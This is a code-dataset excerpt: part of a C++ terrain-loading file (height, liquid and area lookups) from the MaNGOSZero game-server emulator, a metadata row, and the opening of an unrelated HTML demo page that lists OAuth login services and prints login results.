sizeof(header),1,in); if (header.mapMagic == *((uint32 const*)(MAP_MAGIC)) && header.versionMagic == *((uint32 const*)(MAP_VERSION_MAGIC))) { // loadup area data if (header.areaMapOffset && !loadAreaData(in, header.areaMapOffset, header.areaMapSize)) { sLog.outError("Error loading map area data\n"); fclose(in); return false; } // loadup height data if (header.heightMapOffset && !loadHeightData(in, header.heightMapOffset, header.heightMapSize)) { sLog.outError("Error loading map height data\n"); fclose(in); return false; } // loadup liquid data if (header.liquidMapOffset && !loadGridMapLiquidData(in, header.liquidMapOffset, header.liquidMapSize)) { sLog.outError("Error loading map liquids data\n"); fclose(in); return false; } fclose(in); return true; } sLog.outError("Map file '%s' is non-compatible version (outdated?). Please, create new using ad.exe program.", filename); fclose(in); return false; } void GridMap::unloadData() { if (m_area_map) delete[] m_area_map; if (m_V9) delete[] m_V9; if (m_V8) delete[] m_V8; if (m_liquid_type) delete[] m_liquid_type; if (m_liquid_map) delete[] m_liquid_map; m_area_map = NULL; m_V9 = NULL; m_V8 = NULL; m_liquid_type = NULL; m_liquid_map = NULL; m_gridGetHeight = &GridMap::getHeightFromFlat; } bool GridMap::loadAreaData(FILE *in, uint32 offset, uint32 /*size*/) { GridMapAreaHeader header; fseek(in, offset, SEEK_SET); fread(&header, sizeof(header), 1, in); if (header.fourcc != *((uint32 const*)(MAP_AREA_MAGIC))) return false; m_gridArea = header.gridArea; if (!(header.flags & MAP_AREA_NO_AREA)) { m_area_map = new uint16 [16*16]; fread(m_area_map, sizeof(uint16), 16*16, in); } return true; } bool GridMap::loadHeightData(FILE *in, uint32 offset, uint32 /*size*/) { GridMapHeightHeader header; fseek(in, offset, SEEK_SET); fread(&header, sizeof(header), 1, in); if (header.fourcc != *((uint32 const*)(MAP_HEIGHT_MAGIC))) return false; m_gridHeight = header.gridHeight; if (!(header.flags & MAP_HEIGHT_NO_HEIGHT)) { if ((header.flags & MAP_HEIGHT_AS_INT16)) { m_uint16_V9 = new uint16 [129*129]; m_uint16_V8 = new uint16 [128*128]; fread(m_uint16_V9, sizeof(uint16), 129*129, in); fread(m_uint16_V8, sizeof(uint16), 128*128, in); m_gridIntHeightMultiplier = (header.gridMaxHeight - header.gridHeight) / 65535; m_gridGetHeight = &GridMap::getHeightFromUint16; } else if ((header.flags & MAP_HEIGHT_AS_INT8)) { m_uint8_V9 = new uint8 [129*129]; m_uint8_V8 = new uint8 [128*128]; fread(m_uint8_V9, sizeof(uint8), 129*129, in); fread(m_uint8_V8, sizeof(uint8), 128*128, in); m_gridIntHeightMultiplier = (header.gridMaxHeight - header.gridHeight) / 255; m_gridGetHeight = &GridMap::getHeightFromUint8; } else { m_V9 = new float [129*129]; m_V8 = new float [128*128]; fread(m_V9, sizeof(float), 129*129, in); fread(m_V8, sizeof(float), 128*128, in); m_gridGetHeight = &GridMap::getHeightFromFloat; } } else m_gridGetHeight = &GridMap::getHeightFromFlat; return true; } bool GridMap::loadGridMapLiquidData(FILE *in, uint32 offset, uint32 /*size*/) { GridMapLiquidHeader header; fseek(in, offset, SEEK_SET); fread(&header, sizeof(header), 1, in); if (header.fourcc != *((uint32 const*)(MAP_LIQUID_MAGIC))) return false; m_liquidType = header.liquidType; m_liquid_offX = header.offsetX; m_liquid_offY = header.offsetY; m_liquid_width = header.width; m_liquid_height = header.height; m_liquidLevel = header.liquidLevel; if (!(header.flags & MAP_LIQUID_NO_TYPE)) { m_liquid_type = new uint8 [16*16]; fread(m_liquid_type, sizeof(uint8), 16*16, in); } if (!(header.flags & MAP_LIQUID_NO_HEIGHT)) { m_liquid_map = new float [m_liquid_width*m_liquid_height]; fread(m_liquid_map, sizeof(float), m_liquid_width*m_liquid_height, in); } return true; } uint16 GridMap::getArea(float x, float y) { if (!m_area_map) return m_gridArea; x = 16 * (32 - x/SIZE_OF_GRIDS); y = 16 * (32 - y/SIZE_OF_GRIDS); int lx = (int)x & 15; int ly = (int)y & 15; return m_area_map[lx*16 + ly]; } float GridMap::getHeightFromFlat(float /*x*/, float /*y*/) const { return m_gridHeight; } float GridMap::getHeightFromFloat(float x, float y) const { if (!m_V8 || !m_V9) return m_gridHeight; x = MAP_RESOLUTION * (32 - x/SIZE_OF_GRIDS); y = MAP_RESOLUTION * (32 - y/SIZE_OF_GRIDS); int x_int = (int)x; int y_int = (int)y; x -= x_int; y -= y_int; x_int &= (MAP_RESOLUTION - 1); y_int &= (MAP_RESOLUTION - 1); // Height stored as: h5 - its v8 grid, h1-h4 - its v9 grid // +--------------> X // | h1-------h2 Coordinates is: // | | \ 1 / | h1 0,0 // | | \ / | h2 0,1 // | | 2 h5 3 | h3 1,0 // | | / \ | h4 1,1 // | | / 4 \ | h5 1/2,1/2 // | h3-------h4 // V Y // For find height need // 1 - detect triangle // 2 - solve linear equation from triangle points // Calculate coefficients for solve h = a*x + b*y + c float a,b,c; // Select triangle: if (x+y < 1) { if (x > y) { // 1 triangle (h1, h2, h5 points) float h1 = m_V9[(x_int )*129 + y_int]; float h2 = m_V9[(x_int+1)*129 + y_int]; float h5 = 2 * m_V8[x_int*128 + y_int]; a = h2-h1; b = h5-h1-h2; c = h1; } else { // 2 triangle (h1, h3, h5 points) float h1 = m_V9[x_int*129 + y_int ]; float h3 = m_V9[x_int*129 + y_int+1]; float h5 = 2 * m_V8[x_int*128 + y_int]; a = h5 - h1 - h3; b = h3 - h1; c = h1; } } else { if (x > y) { // 3 triangle (h2, h4, h5 points) float h2 = m_V9[(x_int+1)*129 + y_int ]; float h4 = m_V9[(x_int+1)*129 + y_int+1]; float h5 = 2 * m_V8[x_int*128 + y_int]; a = h2 + h4 - h5; b = h4 - h2; c = h5 - h4; } else { // 4 triangle (h3, h4, h5 points) float h3 = m_V9[(x_int )*129 + y_int+1]; float h4 = m_V9[(x_int+1)*129 + y_int+1]; float h5 = 2 * m_V8[x_int*128 + y_int]; a = h4 - h3; b = h3 + h4 - h5; c = h5 - h4; } } // Calculate height return a * x + b * y + c; } float GridMap::getHeightFromUint8(float x, float y) const { if (!m_uint8_V8 || !m_uint8_V9) return m_gridHeight; x = MAP_RESOLUTION * (32 - x/SIZE_OF_GRIDS); y = MAP_RESOLUTION * (32 - y/SIZE_OF_GRIDS); int x_int = (int)x; int y_int = (int)y; x -= x_int; y -= y_int; x_int &= (MAP_RESOLUTION - 1); y_int &= (MAP_RESOLUTION - 1); int32 a, b, c; uint8 *V9_h1_ptr = &m_uint8_V9[x_int*128 + x_int + y_int]; if (x+y < 1) { if (x > y) { // 1 triangle (h1, h2, h5 points) int32 h1 = V9_h1_ptr[ 0]; int32 h2 = V9_h1_ptr[129]; int32 h5 = 2 * m_uint8_V8[x_int*128 + y_int]; a = h2-h1; b = h5-h1-h2; c = h1; } else { // 2 triangle (h1, h3, h5 points) int32 h1 = V9_h1_ptr[0]; int32 h3 = V9_h1_ptr[1]; int32 h5 = 2 * m_uint8_V8[x_int*128 + y_int]; a = h5 - h1 - h3; b = h3 - h1; c = h1; } } else { if (x > y) { // 3 triangle (h2, h4, h5 points) int32 h2 = V9_h1_ptr[129]; int32 h4 = V9_h1_ptr[130]; int32 h5 = 2 * m_uint8_V8[x_int*128 + y_int]; a = h2 + h4 - h5; b = h4 - h2; c = h5 - h4; } else { // 4 triangle (h3, h4, h5 points) int32 h3 = V9_h1_ptr[ 1]; int32 h4 = V9_h1_ptr[130]; int32 h5 = 2 * m_uint8_V8[x_int*128 + y_int]; a = h4 - h3; b = h3 + h4 - h5; c = h5 - h4; } } // Calculate height return (float)((a * x) + (b * y) + c)*m_gridIntHeightMultiplier + m_gridHeight; } float GridMap::getHeightFromUint16(float x, float y) const { if (!m_uint16_V8 || !m_uint16_V9) return m_gridHeight; x = MAP_RESOLUTION * (32 - x/SIZE_OF_GRIDS); y = MAP_RESOLUTION * (32 - y/SIZE_OF_GRIDS); int x_int = (int)x; int y_int = (int)y; x -= x_int; y -= y_int; x_int &= (MAP_RESOLUTION - 1); y_int &= (MAP_RESOLUTION - 1); int32 a, b, c; uint16 *V9_h1_ptr = &m_uint16_V9[x_int*128 + x_int + y_int]; if (x+y < 1) { if (x > y) { // 1 triangle (h1, h2, h5 points) int32 h1 = V9_h1_ptr[ 0]; int32 h2 = V9_h1_ptr[129]; int32 h5 = 2 * m_uint16_V8[x_int*128 + y_int]; a = h2-h1; b = h5-h1-h2; c = h1; } else { // 2 triangle (h1, h3, h5 points) int32 h1 = V9_h1_ptr[0]; int32 h3 = V9_h1_ptr[1]; int32 h5 = 2 * m_uint16_V8[x_int*128 + y_int]; a = h5 - h1 - h3; b = h3 - h1; c = h1; } } else { if (x > y) { // 3 triangle (h2, h4, h5 points) int32 h2 = V9_h1_ptr[129]; int32 h4 = V9_h1_ptr[130]; int32 h5 = 2 * m_uint16_V8[x_int*128 + y_int]; a = h2 + h4 - h5; b = h4 - h2; c = h5 - h4; } else { // 4 triangle (h3, h4, h5 points) int32 h3 = V9_h1_ptr[ 1]; int32 h4 = V9_h1_ptr[130]; int32 h5 = 2 * m_uint16_V8[x_int*128 + y_int]; a = h4 - h3; b = h3 + h4 - h5; c = h5 - h4; } } // Calculate height return (float)((a * x) + (b * y) + c)*m_gridIntHeightMultiplier + m_gridHeight; } float GridMap::getLiquidLevel(float x, float y) { if (!m_liquid_map) return m_liquidLevel; x = MAP_RESOLUTION * (32 - x/SIZE_OF_GRIDS); y = MAP_RESOLUTION * (32 - y/SIZE_OF_GRIDS); int cx_int = ((int)x & (MAP_RESOLUTION-1)) - m_liquid_offY; int cy_int = ((int)y & (MAP_RESOLUTION-1)) - m_liquid_offX; if (cx_int < 0 || cx_int >=m_liquid_height) return INVALID_HEIGHT_VALUE; if (cy_int < 0 || cy_int >=m_liquid_width ) return INVALID_HEIGHT_VALUE; return m_liquid_map[cx_int*m_liquid_width + cy_int]; } uint8 GridMap::getTerrainType(float x, float y) { if (!m_liquid_type) return (uint8)m_liquidType; x = 16 * (32 - x/SIZE_OF_GRIDS); y = 16 * (32 - y/SIZE_OF_GRIDS); int lx = (int)x & 15; int ly = (int)y & 15; return m_liquid_type[lx*16 + ly]; } // Get water state on map GridMapLiquidStatus GridMap::getLiquidStatus(float x, float y, float z, uint8 ReqLiquidType, GridMapLiquidData *data) { // Check water type (if no water return) if (!m_liquid_type && !m_liquidType) return LIQUID_MAP_NO_WATER; // Get cell float cx = MAP_RESOLUTION * (32 - x/SIZE_OF_GRIDS); float cy = MAP_RESOLUTION * (32 - y/SIZE_OF_GRIDS); int x_int = (int)cx & (MAP_RESOLUTION-1); int y_int = (int)cy & (MAP_RESOLUTION-1); // Check water type in cell uint8 type = m_liquid_type ? m_liquid_type[(x_int>>3)*16 + (y_int>>3)] : m_liquidType; if (type == 0) return LIQUID_MAP_NO_WATER; // Check req liquid type mask if (ReqLiquidType && !(ReqLiquidType&type)) return LIQUID_MAP_NO_WATER; // Check water level: // Check water height map int lx_int = x_int - m_liquid_offY; if (lx_int < 0 || lx_int >=m_liquid_height) return LIQUID_MAP_NO_WATER; int ly_int = y_int - m_liquid_offX; if (ly_int < 0 || ly_int >=m_liquid_width ) return LIQUID_MAP_NO_WATER; // Get water level float liquid_level = m_liquid_map ? m_liquid_map[lx_int*m_liquid_width + ly_int] : m_liquidLevel; // Get ground level (sub 0.2 for fix some errors) float ground_level = getHeight(x, y); // Check water level and ground level if (liquid_level < ground_level || z < ground_level - 2) return LIQUID_MAP_NO_WATER; // All ok in water -> store data if (data) { data->type = type; data->level = liquid_level; data->depth_level = ground_level; } // For speed check as int values int delta = int((liquid_level - z) * 10); // Get position delta if (delta > 20) // Under water return LIQUID_MAP_UNDER_WATER; if (delta > 0 ) // In water return LIQUID_MAP_IN_WATER; if (delta > -1) // Walk on water return LIQUID_MAP_WATER_WALK; // Above water return LIQUID_MAP_ABOVE_WATER; } bool GridMap::ExistMap(uint32 mapid,int gx,int gy) { int len = sWorld.GetDataPath().length()+strlen("maps/%03u%02u%02u.map")+1; char* tmp = new char[len]; snprintf(tmp, len, (char *)(sWorld.GetDataPath()+"maps/%03u%02u%02u.map").c_str(),mapid,gx,gy); FILE *pf=fopen(tmp,"rb"); if(!pf) { sLog.outError("Check existing of map file '%s': not exist!",tmp); delete[] tmp; return false; } GridMapFileHeader header; fread(&header, sizeof(header), 1, pf); if (header.mapMagic != *((uint32 const*)(MAP_MAGIC)) || header.versionMagic != *((uint32 const*)(MAP_VERSION_MAGIC))) { sLog.outError("Map file '%s' is non-compatible version (outdated?). Please, create new using ad.exe program.",tmp); delete [] tmp; fclose(pf); //close file before return return false; } delete [] tmp; fclose(pf); return true; } bool GridMap::ExistVMap(uint32 mapid,int gx,int gy) { if(VMAP::IVMapManager* vmgr = VMAP::VMapFactory::createOrGetVMapManager()) { if(vmgr->isMapLoadingEnabled()) { // x and y are swapped !! => fixed now bool exists = vmgr->existsMap((sWorld.GetDataPath()+ "vmaps").c_str(), mapid, gx,gy); if(!exists) { std::string name = vmgr->getDirFileName(mapid,gx,gy); sLog.outError("VMap file '%s' is missing or point to wrong version vmap file, redo vmaps with latest vmap_assembler.exe program", (sWorld.GetDataPath()+"vmaps/"+name).c_str()); return false; } } } return true; } ////////////////////////////////////////////////////////////////////////// TerrainInfo::TerrainInfo(uint32 mapid) : m_mapId(mapid) { for (int k = 0; k < MAX_NUMBER_OF_GRIDS; ++k) { for (int i = 0; i < MAX_NUMBER_OF_GRIDS; ++i) { m_GridMaps[i][k] = NULL; m_GridRef[i][k] = 0; } } //clean up GridMap objects every minute const uint32 iCleanUpInterval = 60; //schedule start randlomly const uint32 iRandomStart = urand(20, 40); i_timer.SetInterval(iCleanUpInterval * 1000); i_timer.SetCurrent(iRandomStart * 1000); } TerrainInfo::~TerrainInfo() { for (int k = 0; k < MAX_NUMBER_OF_GRIDS; ++k) for (int i = 0; i < MAX_NUMBER_OF_GRIDS; ++i) delete m_GridMaps[i][k]; VMAP::VMapFactory::createOrGetVMapManager()->unloadMap(m_mapId); } GridMap * TerrainInfo::Load(const uint32 x, const uint32 y) { MANGOS_ASSERT(x < MAX_NUMBER_OF_GRIDS); MANGOS_ASSERT(y < MAX_NUMBER_OF_GRIDS); //reference grid as a first step RefGrid(x, y); //quick check if GridMap already loaded GridMap * pMap = m_GridMaps[x][y]; if(!pMap) pMap = LoadMapAndVMap(x, y); return pMap; } //schedule lazy GridMap object cleanup void TerrainInfo::Unload(const uint32 x, const uint32 y) { MANGOS_ASSERT(x < MAX_NUMBER_OF_GRIDS); MANGOS_ASSERT(y < MAX_NUMBER_OF_GRIDS); if(m_GridMaps[x][y]) { //decrease grid reference count... if(UnrefGrid(x, y) == 0) { //TODO: add your additional logic here } } } //call this method only void TerrainInfo::CleanUpGrids(const uint32 diff) { i_timer.Update(diff); if( !i_timer.Passed() ) return; for (int y = 0; y < MAX_NUMBER_OF_GRIDS; ++y) { for (int x = 0; x < MAX_NUMBER_OF_GRIDS; ++x) { const int16& iRef = m_GridRef[x][y]; GridMap * pMap = m_GridMaps[x][y]; //delete those GridMap objects which have refcount = 0 if(pMap && iRef == 0 ) { m_GridMaps[x][y] = NULL; //delete grid data if reference count == 0 pMap->unloadData(); delete pMap; //unload VMAPS... VMAP::VMapFactory::createOrGetVMapManager()->unloadMap(m_mapId, x, y); } } } i_timer.Reset(); } int TerrainInfo::RefGrid(const uint32& x, const uint32& y) { MANGOS_ASSERT(x < MAX_NUMBER_OF_GRIDS); MANGOS_ASSERT(y < MAX_NUMBER_OF_GRIDS); LOCK_GUARD _lock(m_refMutex); return (m_GridRef[x][y] += 1); } int TerrainInfo::UnrefGrid(const uint32& x, const uint32& y) { MANGOS_ASSERT(x < MAX_NUMBER_OF_GRIDS); MANGOS_ASSERT(y < MAX_NUMBER_OF_GRIDS); int16& iRef = m_GridRef[x][y]; LOCK_GUARD _lock(m_refMutex); if(iRef > 0) return (iRef -= 1); return 0; } float TerrainInfo::GetHeight(float x, float y, float z, bool pUseVmaps, float maxSearchDist) const { // find raw .map surface under Z coordinates float mapHeight; float z2 = z + 2.f; if (GridMap *gmap = const_cast<TerrainInfo*>(this)->GetGrid(x, y)) { float _mapheight = gmap->getHeight(x,y); // look from a bit higher pos to find the floor, ignore under surface case if (z2 > _mapheight) mapHeight = _mapheight; else mapHeight = VMAP_INVALID_HEIGHT_VALUE; } else mapHeight = VMAP_INVALID_HEIGHT_VALUE; float vmapHeight; if (pUseVmaps) { VMAP::IVMapManager* vmgr = VMAP::VMapFactory::createOrGetVMapManager(); if (vmgr->isHeightCalcEnabled()) { // if mapHeight has been found search vmap height at least until mapHeight point // this prevent case when original Z "too high above ground and vmap height search fail" // this will not affect most normal cases (no map in instance, or stay at ground at continent) if (mapHeight > INVALID_HEIGHT && z2 - mapHeight > maxSearchDist) maxSearchDist = z2 - mapHeight + 1.0f; // 1.0 make sure that we not fail for case when map height near but above for vamp height // look from a bit higher pos to find the floor vmapHeight = vmgr->getHeight(GetMapId(), x, y, z2, maxSearchDist); } else vmapHeight = VMAP_INVALID_HEIGHT_VALUE; } else vmapHeight = VMAP_INVALID_HEIGHT_VALUE; // mapHeight set for any above raw ground Z or <= INVALID_HEIGHT // vmapheight set for any under Z value or <= INVALID_HEIGHT if (vmapHeight > INVALID_HEIGHT) { if (mapHeight > INVALID_HEIGHT) { // we have mapheight and vmapheight and must select more appropriate // we are already under the surface or vmap height above map heigt // or if the distance of the vmap height is less the land height distance if (z < mapHeight || vmapHeight > mapHeight || fabs(mapHeight-z) > fabs(vmapHeight-z)) return vmapHeight; else return mapHeight; // better use .map surface height } else return vmapHeight; // we have only vmapHeight (if have) } return mapHeight; } inline bool IsOutdoorWMO(uint32 mogpFlags) { return mogpFlags & 0x8008; } bool TerrainInfo::IsOutdoors(float x, float y, float z) const { uint32 mogpFlags; int32 adtId, rootId, groupId; // no wmo found? -> outside by default if(!GetAreaInfo(x, y, z, mogpFlags, adtId, rootId, groupId)) return true; return IsOutdoorWMO(mogpFlags); } bool TerrainInfo::GetAreaInfo(float x, float y, float z, uint32 &flags, int32 &adtId, int32 &rootId, int32 &groupId) const { float vmap_z = z; VMAP::IVMapManager* vmgr = VMAP::VMapFactory::createOrGetVMapManager(); if (vmgr->getAreaInfo(GetMapId(), x, y, vmap_z, flags, adtId, rootId, groupId)) { // check if there's terrain between player height and object height if(GridMap *gmap = const_cast<TerrainInfo*>(this)->GetGrid(x, y)) { float _mapheight = gmap->getHeight(x,y); // z + 2.0f condition taken from GetHeight(), not sure if it's such a great choice... if(z + 2.0f > _mapheight && _mapheight > vmap_z) return false; } return true; } return false; } uint16 TerrainInfo::GetAreaFlag(float x, float y, float z, bool *isOutdoors) const { uint32 mogpFlags; int32 adtId, rootId, groupId; WMOAreaTableEntry const* wmoEntry = 0; AreaTableEntry const* atEntry = 0; bool haveAreaInfo = false; if(GetAreaInfo(x, y, z, mogpFlags, adtId, rootId, groupId)) { haveAreaInfo = true; wmoEntry = GetWMOAreaTableEntryByTripple(rootId, adtId, groupId); if(wmoEntry) atEntry = GetAreaEntryByAreaID(wmoEntry->areaId); } uint16 areaflag; if (atEntry) areaflag = atEntry->exploreFlag; else { if(GridMap *gmap = const_cast<TerrainInfo*>(this)->GetGrid(x, y)) areaflag = gmap->getArea(x, y); // this used while not all *.map files generated (instances) else areaflag = GetAreaFlagByMapId(GetMapId()); } if (isOutdoors) { if (haveAreaInfo) *isOutdoors = IsOutdoorWMO(mogpFlags); else *isOutdoors = true; } return areaflag; } uint8 TerrainInfo::GetTerrainType(float x, float y ) const { if(GridMap *gmap = const_cast<TerrainInfo*>(this)->GetGrid(x, y)) return gmap->getTerrainType(x, y); else return 0; } uint32 TerrainInfo::GetAreaId(float x, float y, float z) const { return TerrainManager::GetAreaIdByAreaFlag(GetAreaFlag(x,y,z),m_mapId); } uint32 TerrainInfo::GetZoneId(float x, float y, float z) const { return TerrainManager::GetZoneIdByAreaFlag(GetAreaFlag(x,y,z),m_mapId); } void TerrainInfo::GetZoneAndAreaId(uint32& zoneid, uint32& areaid, float x, float y, float z) const { TerrainManager::GetZoneAndAreaIdByAreaFlag(zoneid,areaid,GetAreaFlag(x,y,z),m_mapId); } GridMapLiquidStatus TerrainInfo::getLiquidStatus(float x, float y, float z, uint8 ReqLiquidType, GridMapLiquidData *data) const { GridMapLiquidStatus result = LIQUID_MAP_NO_WATER; VMAP::IVMapManager* vmgr = VMAP::VMapFactory::createOrGetVMapManager(); float liquid_level, ground_level = INVALID_HEIGHT_VALUE; uint32 liquid_type; if (vmgr->GetLiquidLevel(GetMapId(), x, y, z, ReqLiquidType, liquid_level, ground_level, liquid_type)) { DEBUG_LOG("getLiquidStatus(): vmap liquid level: %f ground: %f type: %u", liquid_level, ground_level, liquid_type); // Check water level and ground level if (liquid_level > ground_level && z > ground_level - 2) { // All ok in water -> store data if (data) { data->type = liquid_type; data->level = liquid_level; data->depth_level = ground_level; } // For speed check as int values int delta = int((liquid_level - z) * 10); // Get position delta if (delta > 20) // Under water return LIQUID_MAP_UNDER_WATER; if (delta > 0 ) // In water return LIQUID_MAP_IN_WATER; if (delta > -1) // Walk on water return LIQUID_MAP_WATER_WALK; result = LIQUID_MAP_ABOVE_WATER; } } if(GridMap* gmap = const_cast<TerrainInfo*>(this)->GetGrid(x, y)) { GridMapLiquidData map_data; GridMapLiquidStatus map_result = gmap->getLiquidStatus(x, y, z, ReqLiquidType, &map_data); // Not override LIQUID_MAP_ABOVE_WATER with LIQUID_MAP_NO_WATER: if (map_result != LIQUID_MAP_NO_WATER && (map_data.level > ground_level)) { if (data) *data = map_data; return map_result; } } return result; } bool TerrainInfo::IsInWater(float x, float y, float pZ, GridMapLiquidData *data) const { // Check surface in x, y point for liquid if (const_cast<TerrainInfo*>(this)->GetGrid(x, y)) { GridMapLiquidData liquid_status; GridMapLiquidData *liquid_ptr = data ? data : &liquid_status; if (getLiquidStatus(x, y, pZ, MAP_ALL_LIQUIDS, liquid_ptr)) { //if (liquid_prt->level - liquid_prt->depth_level > 2) //??? return true; } } return false; } bool TerrainInfo::IsUnderWater(float x, float y, float z) const { if (const_cast<TerrainInfo*>(this)->GetGrid(x, y)) { if (getLiquidStatus(x, y, z, MAP_LIQUID_TYPE_WATER|MAP_LIQUID_TYPE_OCEAN)&LIQUID_MAP_UNDER_WATER) return true; } return false; } /** * Function find higher form water or ground height for current floor * * @param x, y, z Coordinates original point at floor level * * @param pGround optional arg for retrun calculated by function work ground height, it let avoid in caller code recalculate height for point if it need * * @param swim z coordinate can be calculated for select above/at or under z coordinate (for fly or swim/walking by bottom) * in last cases for in water returned under water height for avoid client set swimming unit as saty at water. * * @return calculated z coordinate */ float TerrainInfo::GetWaterOrGroundLevel(float x, float y, float z, float* pGround /*= NULL*/, bool swim /*= false*/) const { if (const_cast<TerrainInfo*>(this)->GetGrid(x, y)) { // we need ground level (including grid height version) for proper return water level in point float ground_z = GetHeight(x, y, z, true, DEFAULT_WATER_SEARCH); if (pGround) *pGround = ground_z + 0.05f; GridMapLiquidData liquid_status; GridMapLiquidStatus res = getLiquidStatus(x, y, ground_z, MAP_ALL_LIQUIDS, &liquid_status); return res ? ( swim ? liquid_status.level - 2.0f : liquid_status.level) : ground_z + 0.05f; } return VMAP_INVALID_HEIGHT_VALUE; } GridMap * TerrainInfo::GetGrid( const float x, const float y ) { // half opt method int gx=(int)(32-x/SIZE_OF_GRIDS); //grid x int gy=(int)(32-y/SIZE_OF_GRIDS); //grid y //quick check if GridMap already loaded GridMap * pMap = m_GridMaps[gx][gy]; if(!pMap) pMap = LoadMapAndVMap(gx, gy); return pMap; } GridMap * TerrainInfo::LoadMapAndVMap( const uint32 x, const uint32 y ) { //double checked lock pattern if(!m_GridMaps[x][y]) { LOCK_GUARD lock(m_mutex); if(!m_GridMaps[x][y]) { GridMap * map = new GridMap(); // map file name char *tmp=NULL; int len = sWorld.GetDataPath().length()+strlen("maps/%03u%02u%02u.map")+1; tmp = new char[len]; snprintf(tmp, len, (char *)(sWorld.GetDataPath()+"maps/%03u%02u%02u.map").c_str(),m_mapId, x, y); sLog.outDetail("Loading map %s",tmp); if(!map->loadData(tmp)) { sLog.outError("Error load map file: \n %s\n", tmp); //ASSERT(false); } delete [] tmp; m_GridMaps[x][y] = map; //load VMAPs for current map/grid... const MapEntry * i_mapEntry = sMapStore.LookupEntry(m_mapId); const char* mapName = i_mapEntry ? i_mapEntry->name[sWorld.GetDefaultDbcLocale()] : "UNNAMEDMAP\x0"; int vmapLoadResult = VMAP::VMapFactory::createOrGetVMapManager()->loadMap((sWorld.GetDataPath()+ "vmaps").c_str(), m_mapId, x, y); switch(vmapLoadResult) { case VMAP::VMAP_LOAD_RESULT_OK: sLog.outDetail("VMAP loaded name:%s, id:%d, x:%d, y:%d (vmap rep.: x:%d, y:%d)", mapName, m_mapId, x,y,x,y); break; case VMAP::VMAP_LOAD_RESULT_ERROR: sLog.outDetail("Could not load VMAP name:%s, id:%d, x:%d, y:%d (vmap rep.: x:%d, y:%d)", mapName, m_mapId, x,y,x,y); break; case VMAP::VMAP_LOAD_RESULT_IGNORED: DEBUG_LOG("Ignored VMAP name:%s, id:%d, x:%d, y:%d (vmap rep.: x:%d, y:%d)", mapName, m_mapId, x,y,x,y); break; } } } return m_GridMaps[x][y]; } float TerrainInfo::GetWaterLevel(float x, float y, float z, float* pGround /*= NULL*/) const { if (const_cast<TerrainInfo*>(this)->GetGrid(x, y)) { // we need ground level (including grid height version) for proper return water level in point float ground_z = GetHeight(x, y, z, true, DEFAULT_WATER_SEARCH); if (pGround) *pGround = ground_z; GridMapLiquidData liquid_status; GridMapLiquidStatus res = getLiquidStatus(x, y, ground_z, MAP_ALL_LIQUIDS, &liquid_status); if (!res) return VMAP_INVALID_HEIGHT_VALUE; return liquid_status.level; } return VMAP_INVALID_HEIGHT_VALUE; } ////////////////////////////////////////////////////////////////////////// #define CLASS_LOCK MaNGOS::ClassLevelLockable<TerrainManager, ACE_Thread_Mutex> INSTANTIATE_SINGLETON_2(TerrainManager, CLASS_LOCK); INSTANTIATE_CLASS_MUTEX(TerrainManager, ACE_Thread_Mutex); TerrainManager::TerrainManager() { } TerrainManager::~TerrainManager() { for (TerrainDataMap::iterator it = i_TerrainMap.begin(); it != i_TerrainMap.end(); ++it) delete it->second; } TerrainInfo * TerrainManager::LoadTerrain(const uint32 mapId) { Guard _guard(*this); TerrainInfo * ptr = NULL; TerrainDataMap::const_iterator iter = i_TerrainMap.find(mapId); if(iter == i_TerrainMap.end()) { ptr = new TerrainInfo(mapId); i_TerrainMap[mapId] = ptr; } else ptr = (*iter).second; return ptr; } void TerrainManager::UnloadTerrain(const uint32 mapId) { if(sWorld.getConfig(CONFIG_BOOL_GRID_UNLOAD) == 0) return; Guard _guard(*this); TerrainDataMap::iterator iter = i_TerrainMap.find(mapId); if(iter != i_TerrainMap.end()) { TerrainInfo * ptr = (*iter).second; //lets check if this object can be actually freed if(ptr->IsReferenced() == false) { i_TerrainMap.erase(iter); delete ptr; } } } void TerrainManager::Update(const uint32 diff) { //global garbage collection for GridMap objects and VMaps for (TerrainDataMap::iterator iter = i_TerrainMap.begin(); iter != i_TerrainMap.end(); ++iter) iter->second->CleanUpGrids(diff); } void TerrainManager::UnloadAll() { for (TerrainDataMap::iterator it = i_TerrainMap.begin(); it != i_TerrainMap.end(); ++it) delete it->second; i_TerrainMap.clear(); } uint32 TerrainManager::GetAreaIdByAreaFlag(uint16 areaflag,uint32 map_id) { AreaTableEntry const *entry = GetAreaEntryByAreaFlagAndMap(areaflag,map_id); if (entry) return entry->ID; else return 0; } uint32 TerrainManager::GetZoneIdByAreaFlag(uint16 areaflag,uint32 map_id) { AreaTableEntry const *entry = GetAreaEntryByAreaFlagAndMap(areaflag,map_id); if( entry ) return ( entry->zone != 0 ) ? entry->zone : entry->ID; else return 0; } void TerrainManager::GetZoneAndAreaIdByAreaFlag(uint32& zoneid, uint32& areaid, uint16 areaflag,uint32 map_id) { AreaTableEntry const *entry = GetAreaEntryByAreaFlagAndMap(areaflag,map_id); areaid = entry ? entry->ID : 0; zoneid = entry ? (( entry->zone != 0 ) ? entry->zone : entry->ID) : 0; }
vanilla-wow/MaNGOSZero
src/game/GridMap.cpp
C++
gpl-2.0
35,544
<!DOCTYPE HTML> <html> <head> <meta charset="utf-8"/> <meta name="viewport" content="initial-scale=1.0, maximum-scale=1.0, user-scalable=no"/> <meta name="HandheldFriendly" content="true"/> <!--<meta name="MobileOptimized" content="320"/>--> <title>Hello H5+</title> <script type="text/javascript" src="../js/common.js"></script> <script type="text/javascript"> var auths={}; function plusReady(){ // 获取登录认证通道 plus.oauth.getServices(function(services){ var content=document.getElementById('dcontent'); var info=document.getElementById("info"); var txt="登录认证通道信息:"; for(var i in services){ var service=services[i]; console.log(service.id+": "+service.authResult+", "+service.userInfo); auths[service.id]=service; txt += "id:"+service.id+", "; txt += "description:"+service.description+", "; var de=document.createElement('div'); de.setAttribute('class','button'); de.setAttribute('onclick','login(this.id)'); de.id=service.id; de.innerText=service.description+"登录"; oauth.appendChild(de); } info.innerText=txt; },function(e){ outLine("获取登录认证失败:"+e.message); }); } document.addEventListener('plusready',plusReady,false); // 登录认证 function login(id){ outSet("----- 登录认证 -----"); var auth=auths[id]; if(auth){ var w=null; if(plus.os.name=="Android"){ w=plus.nativeUI.showWaiting(); } document.addEventListener("pause",function(){ setTimeout(function(){ w&&w.close();w=null; },2000); }, false ); auth.login(function(){ w&&w.close();w=null; outLine("登录认证成功:"); outLine(JSON.stringify(auth.authResult)); userinfo(auth); },function(e){ w&&w.close();w=null; outLine("登录认证失败:"); outLine("["+e.code+"]:"+e.message); 